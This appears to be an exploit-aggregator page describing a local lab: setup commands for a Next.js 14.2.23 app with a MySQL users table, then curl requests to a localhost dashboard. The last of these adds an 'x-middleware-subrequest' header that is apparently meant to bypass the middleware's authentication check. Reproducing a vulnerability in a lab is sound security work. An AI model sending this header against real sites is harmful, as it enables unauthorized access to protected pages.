Share
## https://sploitus.com/exploit?id=D88F7ACF-D957-5816-B243-71B7012DA823
```sh
npx create-next-app@14.2.23
```
### Install packages
```sh
npm install -D @types/bcrypt
npm install mysql2
npm install jose
npm install -D @types/jsonwebtoken
```
### Prepare DB
``` SQL
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
);
```
### Run
```bash
npm run dev
```
###
```sh
# Register some users for test.
curl http://localhost:3000/api/register
# Curl dashboard with or without the header:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard
```